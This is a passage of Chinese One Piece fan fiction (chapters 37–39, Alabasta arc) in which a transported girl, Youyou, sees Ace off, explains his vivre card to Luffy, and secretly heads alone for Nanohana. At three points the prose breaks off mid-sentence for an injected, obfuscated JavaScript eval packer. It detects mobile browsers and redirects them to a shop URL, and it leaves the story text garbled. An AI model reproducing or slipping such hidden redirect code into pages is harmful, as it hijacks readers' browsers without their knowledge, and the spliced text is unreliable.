喉结滚动,艾斯看了一眼身边的女孩,又看向了下面依旧在胡闹的一群人,声音低得几乎听不见:“开心。” 非常非常开心。 “那就好。”有有吸了吸鼻子。 你以后还会遇见很多很多人,经历很多很多事情,也会收获到许多许多爱意。 一定要去找黑胡子也没关系,我会和你的老爹一起,接你回家的。 “那个,艾斯啊,你果然,还是现在就把生命卡撕给我吧!” “为什么?” “总感觉你会忘啊!万一待会我俩都没想起来着怎么办!!” “你就那么想去告状吗?” “你到底给不给!!!” “给你给你啦!小姑娘脾气怎么那么大!” “我记账本也挺大的,再记你一笔好了。” 37.阿拉巴斯坦(十三) 先不论有有到底是否像她说的一样记仇,但艾斯看出来了她是真的非常想要生命纸。 “你是有什么收集生命纸的癖好吗?”艾斯无奈地把生命纸分了一半给有有,就看见女孩又打算把这个东西塞进衣服的内口袋。 “哼。”有有冷哼一声,不想搭理艾斯,却在摸到口袋里另一张生命纸时犯了难。 两张放在一起会不会搞混啊? 其实不会,毕竟两张的大小又不一致,但这都是借口,自己给自己找的借口。 有有期期艾艾地拿出艾斯的那张递到青年面前,不想搭理人的心思抛到了脑后:“给我签个名呗,不然后面万一搞混了怎么办?” “你到底还要收集多少生命纸啊,还会弄混。”艾斯吐槽归吐槽,但还是从善如流地给人签了名。 拿到艾斯签名的有有原谅了全世界,叮叮当当就开始哼起了小曲,连饭都是艾斯带上来的。 吃饭时的喧闹早就成了草帽团的必修课,有有和几位还有理智的人远离战场,期望能吃一顿安稳的饭,但当听到路飞惊讶着会动的鸡腿时,手里美味的饭菜忽然失去了味道。 但她还是乖乖吃完了。 不过有有知道,分别的时刻要来了。 不算强大的赏金猎人为了儿子捏造了一处略有些荒诞的戏码,放出去的有关黑胡子的消息成功让艾斯上钩,而这一切终将被戳穿,父慈子孝的戏码在这一群只能凑出一个合格的亲生父亲的人眼中,还算得上感人。 而好戏即将落幕,天边烧得像火一样颜色的云朵仿佛也在给艾斯饯别。 青年单肩背着挎包,从口袋里掏出了一张纸扔给了路飞,在对上路飞一脸茫然的脸上时,还是忍不住笑出了声。 “这是什么啊?纸片?” 什么都不知道还能走到这里,该说路飞不愧是路飞啊。 艾斯笑着压低帽檐:“拿着它,它会引导我们重逢。” “诶?”路飞翻来覆去地看着手里的纸片,“真的吗?” “不知道的话,记得问一问有有。”艾斯将所有人的视线引到了从刚刚开始就不怎么说话的女孩身上。 “有有这个你也知道?”路飞赞叹地拍了拍女孩的肩膀,完全忘记了收力。 有有皱巴着一张脸移开路飞的手:“你再拍我就会忘记啦!” “你这家伙对有有小姐温柔点啦!”山治不客气地扯开路飞的手,看着就要展开新一轮打打闹闹。 “谢谢你们!”身后突然传来热情的呼喊。 有有没有回头。 哪怕身边所有人都开始朝着蝎子和两个小孩招手,有有也依旧没有回头,甚至还往前走了两步。 她的视线笔直地、不带一丝游移地看着眼前这个在火烧云中燃烧着的人。 她知道他要不告而别。 在所有人看不见的时候“嗖”的一下消失在所有人的视野里。 但她要看着。 “再见”,原来是这么难以说出口的台词吗? 他叹了口气,无奈地笑着。 他凑到她耳边,轻声说道:“是生命卡不算,再想一个要求吧,下次见面告诉我。” 如果分别对于你来说是这么困难的一件事,那么有了期待,再见面时的喜悦能否冲淡这段时间的难过呢? 她听到了什么?有有愣怔了一秒,不自觉伸出去的手就抓了个空。 连片衣角的没有抓到。 消失了。 即使有所准备,艾斯还是瞬间在她视线中消失了。连留下的脚印都被风沙吹散了。 “诶?艾斯呢?”转过头的路飞看着空空荡荡的地方,疑惑地歪了歪头。 他戳了戳有有,丝毫没察觉到女孩的不对劲:“你看见了吗?” 啊这…… 索隆只用了零秒就发现了女孩的脸色不对,默默地拽着乔巴远离了一步。 而下一秒,就听见女孩冷冷地哼了一声。 冷到即使沙漠里,索隆都感觉到了背后的凉意。 “看见?我能看见什么?”有有阴阳怪气地迁怒了路飞,“我这么菜,人家从我面前跑了我都反应不过来。” “哈?”路飞不明所以地挠头,丝毫没有被迁怒的自觉,“什么意思?” 女孩突然又挂起了一个和善至极的微笑:“路飞呀。” “怎么啦?” “你知不知道人和人分开之前,要说什么啊?” 路飞托着下巴冥思苦想,还是没能理解女孩的意思,就在女孩的视线越来越危险之际,乌索普隐蔽地用手肘戳了戳路飞,低声焦急道:“说再见,说再见啊!” “啊!”路飞第六感都快跳冒烟了,才侃侃拯救了自己那迟钝的主人,“说再见!” 有有满意点头,从背包摸出了一包果冻塞给了乌索普,慈爱道:“我们乌索普是个讲礼貌的好孩子,给你奖励。” 天降果冻乌索普:“!!!” 路飞:“!!!诶,我也回答出来了!!” “不好意思,你被你的混蛋哥哥连坐了。”有有咬牙切齿道,“连声再见都不会说,可恶!” “不公平!!!”路飞像只小狗一样围在有有身边,想吃果冻的心达到了巅峰,最种如愿以偿地拿走了最后一个。 娜美闭上眼睛不愿再看,她朝着微微语气幽幽道:“本来,我还以为她长进了不少,不那么溺爱路飞了。” 但这不是完全没长进吗!撒个娇就能拿到所有,没看见他已经开始向乔巴炫耀了吗!! 而当有有坐上艾斯留下的蜥蜴车时,对艾斯的怨念总算是小了一些,但随之而来的却是无尽的担心。 “「啧,担心什么担心,眼前的事情还没解决呢,就眼高手低,专注眼前专注眼前,那么多考试技巧都忘光了是吧!」”意识到自己在担心的瞬间,有有猛然敲了敲自己的脑袋,开始碎碎念起来。 一同坐在车上的乔巴默默望旁边缩了缩身子,眼睛里满是无措。 乌索普!救命啊!有有她好像有些不太正常了!! 把脑子里的事情甩干净,有有对着脑子里的剧情开始冥思苦想了起来。 不知想了多久又走了多久,再抬头时,原本在前面带路的微微几人已经不见了踪影,只剩下站在蜥蜴边的索隆和躺在板车上的路飞和乔巴。 …… 骗人的吧?她为什么会掺和到这个剧情里面来? 有有不可置信地抱着自己,她都有车了啊??! 她又不是索隆,她怎么就和大部队失散了?! 啊,女孩一秒钟锁定了罪魁祸首:“你是不是又迷路了!都让你多看看书了!” 天降一口大锅,索隆把躺在板车上的路飞拎到女孩面前,恶狠狠道:“那还真是不好意思啊,都是为了捡他啊!” “那你干嘛拉着我,我要和娜美她们一起!” “谁让你有车的!” 被拎着的路飞脸色浑浑噩噩,一副灵魂出窍的模样,不知道是出现了什么幻觉,嘴里嚷嚷着克洛克达尔就对着索隆出了拳头。 大战一触即发,乔巴一个闪身,强撑着力气带着有有闪开,但是蜥蜴车则没有了这样的好运气,在战斗的波及下碎了一地,蜥蜴没了束缚,立马逃之夭夭,消失在了沙堆深处。 有有:“……” 乔巴:“……” “你打得过他们吗?”有有深吸一口气,强压着怒火对着乔巴道,“我们去把他们揍一顿怎么样?” “……”乔巴咽了咽口水,“有有……”我们肯定连靠近也做不到啊! 有有很快反应过来这个事实,她闷声从背包里掏出手机,一言不发地对着两人拳拳到肉的丑态按下快门。 “我要等他们出名之后把这些丑照卖给新闻鸟,一个都别想好过!!” 恶魔!有有是恶魔!这个海贼团没一个正常人。 天真的乔巴后知后觉地察觉到了这点,但奈何已经下不了船了。 “不要在旁边看热闹啊你个笨蛋,快来阻止路飞!”索隆察觉到女孩的动作,满脸黑线地喊着。 “等我一会哈。”有有不紧不慢地拍了几张照片,才慢悠悠地朝着路飞喊道:“路飞,我这还有水哦,喝不喝呀?” “水!”像是触发到什么关键词,路飞的脑袋恢复了运作,闪现到了女孩面前。 一个木制的水杯被女孩拿了出来,路飞开始吨吨吨喝了起来。 索隆骂骂咧咧:“既然能阻止就早点阻止啊!” “那我不就拍不到你的丑照了嘛。”有有晃了晃手机,“所以你赶紧干点大事,悬赏令上去我就能和娜美一起把照片卖了,然后分钱。” “……”索隆无语凝噎,“你那叫分赃。” 喝完水的路飞恢复了神智,老老实实把水杯挂在了身上,索隆不经意瞥到,挑眉道:“你这是?” “啊。”有有顺着索隆的视线看过去,瞥了瞥嘴,“艾斯那家伙不知道什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16209186|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么时候塞我包里的,估计是知道自己要走,这个水没用了,就给我了。” “那你不喝吗?”索隆看着女孩干到已经有些开裂的嘴唇,手不经意地抚上了自己的水杯。 山治分水的时候考虑的还算周到,女孩子单独分了一些,有自制力的人多少也能分到属于自己的水,虽然少了一点,但毫无自制力的人只能几个人共用,且需要经过同意才能喝。 而这个笨蛋的水大部分却都进了乔巴和路飞的嘴里。 有有摆手:“没关系,你们是战斗主力。” “你真的……”索隆凝眉,啧了一声,“笨得要死。” “??”有有简直不敢相信自己的耳朵,“我笨?我能分清楚方向你能吗?你好意思说我笨?” “就是啊索隆,你明明比有有笨好多啊!”路飞拍了拍索隆的肩膀,煞有其事道,“有有可聪明了!” “……哈?”索隆握紧了刀柄,恨不得当场拔刀,“你们两个都是笨蛋!” “小孩子一样,骂人只会骂笨蛋,索哦你是在撒娇吗?”有有得意洋洋地站在路飞边上,狐假虎威道。 “不过说真的,要不要我给你找一个能认路的恶魔果实啊?不然总感觉你会跑丢啊!” 索隆气急,刚想拔刀,就听到了女孩后面一句话,动作犹豫了一会,思及女孩的能力,犹豫道:“真有这种果实?” “噗。”有有捂着嘴笑了,梗果然要放着正主的面才好玩啊。 “……”索隆拔出了刀,“你死定了。” 乔巴在一旁瑟瑟发抖:乌索普救命啊!! 闹剧总归是要告一段落的,一行人在乔巴的眼泪汪汪中终于是踏上了寻找娜美的道路,没了板车代步的有有走得比乔巴还要艰难一些。 索隆在一旁时不时刺激女孩两句,眼看着女孩提起精神又施施然走开。 即使反应过来索隆是在让自己走路更精神一点,也挡不住有有想杀人的眼光。 有有觉得自己有一种在手机关机前倒数30秒的时候被充上了电,但是没充几秒又被拔了,然后再倒数在充电的感觉。 简而言之,死去活来,活来死去。 而就在有有快要彻底趁不住的时候,路飞发现了一处阴凉的地方。 被温度影响,有有一时没反应过来这里的节点,就立马被路飞的伸缩手臂带着往前弹射了出去。 弹射的劲还没反应过来,脚下就忽然一空,啪嗒一下掉了下去。 “喂!” 急促的喊叫声传来,有有后知后觉地发现自己的手臂被人抓住了。 啊,是这个环节啊。 有有恍然,噗通一下落了地。 并没有丝毫痛感传来,有有看着再次垫在自己身下的索隆笑出了声。 “笑什么,还不起来?”索隆没好气地说着。 “抱歉抱歉,这个时候,果然只有索隆你靠谱啊。”有有笑着起身,拉起了从高处落下却毫发无伤的人。 索隆拍了拍身上的灰:“说好话下次也不会再帮你垫着的。” 有有不信,她笑眯眯地看着索隆,一句话没说,却好像什么都说了。 “再看我真的揍你了。”索隆梗着脖子道。 “行吧行吧。”有有不理会这个口不对心的男人,笑嘻嘻地跑到了路飞身边。 这个洞窟是历史正文第一次出现的地方,虽然是Tv原创的部分,但是有有还是勤勤恳恳地把整个石碑拍了下来。 万一呢?万一有用呢? 反正之后罗宾能看得懂,让她看看又不亏。 路飞不理解有有的行动,但他显然已经习惯了女孩一到什么地方就开始到处拍拍的习惯。 她拍她的,他拍他的。 他伸长手把头顶上的洞口拍得一团糟,终于是拍出了一个还算不错的洞口。 灰尘缭绕中,有有费尽心思地拍完了照,耳边突然传来了路飞乖巧d询问:“你拍完了嘛?” “拍完了呀。”有有检查着手中的照片,头也不抬地回答道。 “那我们走吧!” 走?这里是怎么走来着? 有有心中警铃大作,忙不迭把手机收到包里,就看见路飞的手臂在石柱上绕了许多圈。 “出发喽!” 路飞兴致勃勃,有有面如死灰。 “索隆,求求你,一定要接住我!”有有只来得及说完最后这句话,就一同飞了出去。 你管这叫走? 38.阿拉巴斯坦(十四) 说着不会再给有有垫背的男人最终还是垫了背,没办法,如此突然的“长途飞行”即使是他和乔巴也要晕上一会儿,何况是这人。 落地后只有路飞一人神采奕奕,有有趴到一边哗啦哗啦直吐,本就没什么东西的胃里更加干干净净。乔巴在一旁紧张得上蹿下跳,连自己的不舒服都忘记了,一心只想找医生。 “你就是医生啊!”索隆没好气的按住了乔巴的头,又把路飞拉了过来,“你能不能注意点!” “对不起啊有有。”路飞企图糊弄过关,却被索隆按在了原地,然后,路飞的背上就多了一滩软弱无力脸色苍白的有有。 美名其曰“自己闯的祸自己收拾。” —— “我们真的不用等他们吗?有有可在那呢。”微微扯了扯娜美的衣角,略带不安道。 “……”娜美望着身后依旧空空如也的沙漠,只觉得这个海贼团迟早要完,但现在停下来等他们无疑会放慢他们的脚步,她定了定心神,“没关系,有有靠谱的,他们肯定会追上来的。” “有有小姐,我的有有小姐。”山治看上去比几乎虚脱的乌索普还要难过,嘴里一直念念叨叨着女孩的名字,其他人就像是隐形了一般没有出现在他的嘴里,可即使这样,他也没提出要等一等的想法。 因为他们一定会追上来的。 这是无言的默契。 天色渐渐变暗,身后突然传来了耳熟的呼喊声。 娜美兴奋地先后看去,熟悉的身影逐渐浮现,灰头土脸的一群人终于赶了上来。 “有有你怎么了?”娜美花容失色地看着摊在路飞背上的女孩,脑子里瞬间飘过了无数的念头,却在看见女孩脏兮兮的笑脸时,歇了所有心思。 “娜美娜美!我们回来啦!”有有趴在路飞的背上兴冲冲挥手道。 “欢迎回来。” 几乎是汇合的瞬间,撑不住的路飞歪歪扭扭地往地上一倒,舌头都累都受不住神出来散热了。 打完招呼的有有还没反应过来就要被路飞带着往地上倒了下去。 有有:“!!” 所幸一双手稳稳接住了女孩,山治一双深邃的眼睛紧紧盯着女孩,脸上满是“久别重逢”的欢喜,丝毫没有去看倒在地上的船长一眼。 “有有小姐~~”山治的尾音依旧带着波浪号,他殷勤地搀着女孩,“我来背有有小姐吧~~” 倒也不必。 有有借着山治的手臂站稳身子,嘿嘿一笑:“没关系啦,我已经满血复活了!!” “你居然会让路飞背你吗?你的车呢?”娜美啧啧称奇,她还以为以有有溺爱路飞的性子,会是有有被路飞呢。 路飞肯定也不会觉得奇怪,毕竟他可是敢骑在乔巴身上的。 娜美的询问让有有精神一振:“是惩罚!” “娜美娜美你听我说哦!” 女孩手舞足蹈地讲述了她在短短的半天内是如何的上天入地,如何的苦不堪言,拿来代步的车也没了,简直是一穷二白。 听得娜美眉心一跳一跳的,于是路飞和索隆喜提两个大包。 “你这家伙,我给你垫背的事情是一句话都不说是吧!”索隆走在有有身边,恶狠狠地威胁着女孩,“你个没良心的白眼狼!” “诶嘿。”有有狡黠一笑,“良心多少钱一斤呀?” “……”索隆梗住,“你少和娜美那个恶魔学。” 有有当机立断转头,朝着娜美喊道:“娜美,索隆他……” 娜美循声看去,只见索隆单手紧紧捂住有有的嘴巴,女孩几乎要被拦在他的怀里,眨巴着一双无辜的大眼睛看着自己。 “索隆!你这家伙!又在欺负有有!” 还不等娜美气愤地翻下骆驼,就看见山治一脚飞踢赶了过来:“有有小姐,我来救你~~” “做得好山治!”娜美给了山治一个肯定的目光,换来山治变本加厉的踢技。 被迫松开有有的索隆看向女孩的眼神里满是不可思议,外加着秋后算账的决心。 不过秋后算帐,那是秋后的事情啦,有有毫无愧疚心的闪到了一旁。 路飞拿着白纸翻来覆去地观察,却也没观察出任何情况,他一把抓住凑到旁边的有有,好奇询问道:“这个到底是什么啊?艾斯说可以问你哦。” “怎么看都是一张白纸啊。”山治也停下打闹凑了过来。 有有却没有第一时间回答,反而是警惕地看了一眼睫毛。 她曾经刷到过不少一些所谓的细节帖,有些人说着什么艾斯的命运在生命纸差点被睫毛吃了的时候就注定了。 荒谬!无稽之谈! 搞什么玄学!我们要信奉科学! 可即使这样,有有也不想有任何不吉利的苗头出现。 她确定了生命纸并不会落到睫毛的嘴里后才开口道:“这是生命纸。” “生命纸?” “嗯那。”有有示意路飞把生命纸收好,“简单来说这是一种便利的小工具,通过将人的指甲或者毛发用特殊工艺融入特殊的纸张中,这张纸就具有了显示主人生命状态和指示方位的功能。” “你把纸片放在手心试试看。” 路飞试着把纸片平放在手心,没有人去触碰,但是纸片却自己指向了一个方向。 “这就是艾斯现在所在的方向了。”有有解释道。 “而当艾斯虚弱的时候,这张生命纸就会缩小,当他恢复时,生命纸就会复原。” 有有顿了顿,轻声道:“而濒死时,生命纸就会燃烧。” “这么小一张纸片能有这么大的作用吗?”山治凑到路飞手边,一脸诧异地盯着这张看上去其貌不扬的小纸片,“那为什么我们这一路以来都没怎么看见过。” “所以你们是真的完全不知道收集资料的是吗?”有有叹了口气,“那你们知道伟大航路从哪里开始会产生质变吗?” 寂静,死一般的寂静。 也是,坐着个木桶就敢在大海上漂的船长能带出什么样的船员呢。 娜美尝试着开口道:“香波地群岛?” 身为航海士,她当然会比其他人更关注海上的消息,从双子岬出发便需要选择路线,因为微微的缘故,他们选择了现在的这条路线,但是其他的几条航线最终都会到达香波地群岛,所以香波地群岛看上去就像是这群海贼的交汇点。 不愧是娜美,这个船上为数不多靠谱的人,也是这艘船上少有的会主动去看报纸的人。 “没错。”有有松了口气,恨不得立马就把这群人抓到船上去对着报纸来开一次补习大会。 虽然有时下一个岛屿的情况无法预测,但是像水之都、香波地群岛这种时不时有新闻发生的地方还是能从报纸上收集到消息的啊。 合着全都是走一步算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16214405|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步的人。 但路飞就像是抓到了救命稻草一样理直气壮:“你和娜美知道不就可以了嘛!” 行吧,那可真是谢谢你这么信任我。 有有梗住,决定不在这点上纠结:“这几条航线最终会在香波地群岛交汇,而香波地群岛之后,伟大航路的后半段才是真正凶险的地方。” “你说的那位香克斯,以及艾斯所在的白胡子海贼团,他们全都盘踞在这后半段,也就是新世界。” “而生命纸,则在新世界出现的更为频繁。” 为什么出现的都更为频繁,虽然不排除到达新世界的人技艺更为高超的因素,但是这同样也意味着,新世界的人更需要生命纸去检测同伴的生命,因为新世界足够危险。 只言片语之间,新世界的凶恶悄然显现了一角,可落到路飞耳中就只剩下了一个消息。 “那只要去了新世界,我就能见到香克斯了对不对?”路飞眼睛亮晶晶地扶着草帽,跃跃欲试道。 话虽如此。 虽然早有预料,有有还是不禁为路飞的乐观而感到震惊。 到现在连霸气都还没出来呢,就想着去新世界了,不愧是你啊。 有有哭笑不得:“去新世界之前,我们先把这个七武海给解决了吧。” “也是啊!”路飞兴奋不已地双手握拳碰撞了一下,“噗的一下把克洛克达尔打飞,然后我们就去新世界吧!” 如果能一下子把克洛克达尔打飞,那现在去新世界倒也不是问题。 有有看着心奋不已的路飞,心中隐隐不安:“这么早就把新世界的消息告诉路飞,到底是好事还是坏事呢?” 娜美一巴掌把蠢蠢欲动的路飞打安静了下来,她没好气地让路飞交出草帽和生命纸。 “别得瑟了!我们先把面前的事情解决再去想这些事,还有,生命纸那么重要,赶紧给我,我把它和你的草帽缝到一起。” 生命纸的目标太小,但是草帽是路飞决定不会弄丢的东西,这两个放在一起也保险些。 路飞乖觉地递出帽子,在等着娜美缝好的功夫,看向了微微:“我们离犹巴还有多久啊,微微?” 微微看了看天色,又看向了犹巴的方向:“大概还有半天的路程,我们就能到犹巴了。” 半天。 有有估摸着时间,如果还有半天的话,那也就意味着,克洛克达尔那边已经开始召集数字代号的特工了。 而且其实,犹巴也早就成为了一座空城,只剩下一位老人还在犹巴坚守着。叛乱军的总部早就转移到了卡特莱亚。 事实远比嘴上说着要来得可信,有有的计划中,当微微到达犹巴时就会知道自己原本有多天真,叛乱军根本不在这。 但事实赶不上变化,她先暴露出了自己可以和叛乱军联系上的事实。但犹巴还是要来走一遭的。 有有看向拿到帽子后一马当先的路飞。 无他,因为路飞是一个很神奇的人。 他极度真诚、纯粹,又极富同理心。他能看见许多人的痛苦,也不惧怕背负其他人的期望。 但他并不高高在上。 克洛克达尔目前来说,还是太强大了,又是自然系果实,果实的开发程度绝对比路飞要高。 她并不怀疑路飞对于战斗全力以赴的态度,但她绝对不会放弃增加获胜的筹码。 多托就是筹码之一。 39.阿拉巴斯坦(十五) 当下许多少年热血漫的主角十分喜欢强大,甚至肩负的越多就越强大。 “喊着友情啊羁绊啊就冲上来了”虽然是一个梗,但是也确实是大部分热血漫的现状。 这并非不好,只要塑造的足够好,她也会因为这些羁绊而感动流泪。 但她始终觉得路飞是有些不同的。他的强大并非来自于身上背负的,而是来源于自身。 他的信念十分坚定,也正是因为如此,他并不会轻易被别人影响,他会一直朝着自己梦想蹦蹦跳跳地跑过去。 就比如现在,他的目的就是,打败克洛克达尔。 但这并不意味着他看不见别人。他在看见多托时,是否会因为这个老人的坚持而坚定自己的信念,这份信念又会有多少转化到他打败克洛克达尔的决心。 她不能赌。 同时,还有那份犹巴之水。 那份让路飞发现打败克洛克达尔的方法的珍贵之水。 诚然,她也可以自己再给路飞的水杯灌一杯水,但是那杯水能否撑到路飞对战克洛克达尔还是个未知数。 这场战斗她需要不触及变量的情况下,尽量地让不让暴动发生,减少国民的牺牲。 也幸亏遇见Mr.3和Mr.2的时候,她都不在船上,再加上不吉利组合还被拷在船上,她在克洛克达面前几乎是一个不存在的人,这也让她有了更多的主动权。 如果时间再充沛一点就好了,充沛到她能简单的再教寇沙和伊卡莱姆两句中文,那么电话虫就不至于沦落成一次性用品。 身前是多托和路飞挖水时的打打闹闹,这个初次见面的大叔非常“幸运”地见识到了路飞的“不可理喻”。 身后是男生们的打打闹闹,也不知道他们的手劲到底有多大,枕头砸到脸上都能砸出“砰”的一声响。 有有蹲在小土堆上,耳边除了呼呼的风声,就是他们的闹声。 轻缓的脚步声慢慢靠近,蓝头发的公主缓缓在旁边同样蹲了下来。 “谢谢你啊,有有。”微微轻声说着,“叛乱军真的不在这。” 她本以为找不到叛乱军时,她会慌乱。但大概是和有有那番争吵打破了最后一丝幻想,看见毫无叛乱军踪迹的犹巴,她竟有一种理所当然的感觉。 “我离开阿拉巴斯坦已经有一段时间了,还在以那时的情报行动,本身就是个错误。” 有有没有说话,只是拍了拍女孩的背。 夜空如洗,不知何时,男孩们的打闹声归于寂静,消瘦的老人将路飞带回房间,吹灭了最后一丝光亮。 这座破败的城市中,最终只剩下了呼啸而过的风声。 “几点了?你知道吗?”有有抖了抖有些发麻的腿,将手撑在腿上缓慢起身。 “大概,十点多了吧。”微微看了眼月色,怀表不在身边,但沙漠里长大的孩子,自有一套辨认时间的方法,虽然没办法说出具体时间,但是大概时间却是能够推测的。 “十点啊……”有有轻声念了一句,远远看着东方出了神。 倒计时十四个小时。 明天正午十二点,克洛克达尔的理想乡计划即将展开。 而他们则会在明天正午之前到达雨地,和克洛克达尔第一次碰面。 而每一次和克洛克达尔的碰面,都是为了路飞最终能够打败这个几乎算得上是第一个大boss的人。 而在雨地,他们会碰见斯摩格,也最终会被克洛克达尔囚禁起来。海军会发现克洛克达尔的真面目,在暴乱中,海军也会多多少少发挥作用,所以雨地之行是必须的。 但是这是对路飞他们而言。 “微微。”有有拢了拢身上的冲锋衣,“我问你啊……” —— 在如此荒芜的沙漠里能睡在床上,实在是一件十分幸福的事情。 即使耳边喧哗的要命,乌索普依旧当作没事一样翻了个身继续睡。 “睡睡睡!你就知道睡!”暴躁的声音简直比沙尘暴还可怕,山治急吼吼地把床上的人都薅了起来,“有有小姐不见了啊!” 乌索普紧闭着眼睛不愿睁开,语气飘忽:“她肯定去外面逛去了啊!不然她还能去哪啊?!” “没有啊没有!”乔巴扒到乌索普的脸上,急得眼泪都快出来了,“睫毛也不见了!” “哈?”索隆撑着脑袋,眼角还带着刚睡醒时的迷蒙,“她们俩出去玩了?” “砰!” 娜美气急败坏地给一人来了一拳,火大道:“你们都给我清醒一点!” 几人跪坐在狭小的房间内,头上顶着个大包在复盘。 “我昨天睡觉的时候就没看见有有了!”路飞第一个举手。 “废话,你是在外面睡着的,还是多托大叔把你搬进来的!”娜美深吸一口气。 “枕头大战的时候也没看见。”索隆挠头,勉力回想着。 娜美再吸气:“她要是和你们一起扔枕头,还能不能毫发无伤的活着都是未知数!” 众人面面相觑,一句话也说不出来。 就在这时,微微推开门走了进来,身后还跟着多托。 “微微,你来的正好,你有看见有有吗?”娜美看见了难得正常的人,心下微松。 可微微的脸色却有些心虚,她躲开了娜美的眼神,言辞吞吐。 微微的样子吸引了所有人的注意,娜美心中涌起了一股不妙的预感。 “我……”微微垂着头,深吸了一口气,抱着一股赴死的信念,决然开口道,“有有说,她要和我们分头行动。” —— “微微,我问你啊。” 月色下,女孩笑嘻嘻地看向年轻的公主,“犹巴这座城市里,有没有船啊?” “船?” “是呀是呀,我一个人就能坐的那种就可以啦!” “一个人?” 微微心中涌现了不详的预感,只见女孩掏出了一张不知怎么来的阿拉巴斯坦的地图。 她指着地图上的一角,轻描淡写道:“我要去这,我一个人去。” 地图下方标识着“Nanohana”。 那罗哈拉,他们到达阿拉巴斯坦时登录的城市。 “为什么突然要往回走?又为什么要分开?”微微下意识摇头,“娜美不会同意的!” “所以我们要悄悄的啊。”女孩说得理直气壮,“我打算现在就走。” 眼看着微微还想说什么阻止的话,有有叹了口气,严肃道:“我一定要去。” “这并不是任性。” 女孩指着地图:“阿拉巴斯坦的主要城市有这几个,我们大致可以划分成三个阵营。” “国王军在阿尔巴那,叛乱军在卡特里亚,这两股势力目前看来是完全敌对的,但是他们却都被划分在了同一边。” 地图上一条从海里延伸出来的河流将阿拉巴斯坦分成了两半,他们能从那罗哈拉过来是因为搭乘了梅利号,直接从海上绕了过来,而如果要从内陆过去,则要跨过这条河。 “但是克洛克达尔的根据地却在这一边。”有有指着雨地的位置,“目前而言,我们距离克洛克达尔非常近,按理来说,让路飞过去把克洛克达尔打飞,这些事情就能解决了。” “那你还……” “可是,你别忘了,克洛克达尔并不是一个人,他是一个有预谋的组织。” “亿万长者……”微微喃喃自语,想起了之前说过的间谍。 “没错。”有有赞许地点头,循循善诱道,“如果你是他,你会让间谍做什么?” “别忘了,他的目的之一就是让这个国家毁灭。” “挑拨国王和民众的关系,让国王失去威信。”微微顺着有有的提醒,一步一步地揣测着,她看着女孩撑着脸的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16232252|177907||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,脑中灵光一闪,失声道,“Mr.2!” “他只要让Mr.2用国王的脸去做一些不利于国民的事情……” “那国王军和叛乱军的矛盾就将直接爆发。”有有不动声色的收回手,接住了微微的话。 “而且这个地点不会是在国王军的地盘,那太显眼了,也不会是在叛乱军的据地,因为目的性太强了。” “那么综合而言,那罗哈拉就是最好的选择。” 微微的脸色变得苍白:“那……那我们一起去,你一个人去太危险了。” “不哦,我一个人,反而是最安全的。”有有笑了笑,“别忘了,谁都不认识我。” “路飞想要打败克洛克达尔,那你们明天早上就可以向雨地启程。” “而且只要你们还在路上,那么,克洛克达尔就绝对不会注意到我。” “你们去雨地大闹一场,而我,则可以去那罗哈拉搅和一下。” “所以从某种意义上来说,我是在把你们当诱饵。”有有耸肩,“所以你不用太担心了。” “怎么可能不担心啊!”微微双手握拳,“这可是沙漠啊!而且还是夜间的沙漠,那条河流比地图上来得宽的多,即使有船你也不可能划过去的!里面还有喜欢吃人的鲶鱼!” 可有有只听到了自己想听的:“是嘛,船不行的话,那就只能靠它们了啊。” “我们来打个赌吧。”女孩笑了笑,一副胸有成竹的模样,“我绝对能过去的。” —— “所以呢?有有小姐她是怎么过去那条河的?”山治几乎要压不住心中的焦急,“这样说的话,我也可以陪她过去啊!我也没有暴露!” “我的有有小姐~~” “昨天晚上,有有让睫毛喊出了它的朋友,一只叫剪刀的搬家蟹,我们坐着它赶到了那条河附近。”回想起所看见的,微微一股无力感再次涌上心头,“我本来以为她会放弃的,结果她拿出了一包肉干,朝着水面大声喊着功夫海牛。” “结果它们真的冒出来了,然后有有用肉干摆脱它们载她渡河,她昨晚上就已经到了河流对面了。” “功夫海牛是指……”乌索普哽了哽,颤颤巍巍地问道。 “就是路飞的徒弟……” “这家伙还真是……”索隆无奈的皱眉,“真的会利用所有的东西啊。” “哈哈哈哈哈哈,有有果然很有趣啊!”路飞忽然大声笑了起来,“那家伙怎么会想到让它们帮忙啊!” “我也好想去玩啊!” “现在是玩的时候嘛你这个混蛋船长!”山治恨不得立马就飞奔到女孩身边,“我们也要赶紧出发了!” “我们可要好好给有有小姐作诱饵啊!!!”把不靠谱的船长扔到一边,山治朝着微微道,“有有小姐有具体说怎么做吗?把路飞扔出去应该就能吸引克洛克达尔的视线了吧?” 你还记得他是你船长吗? 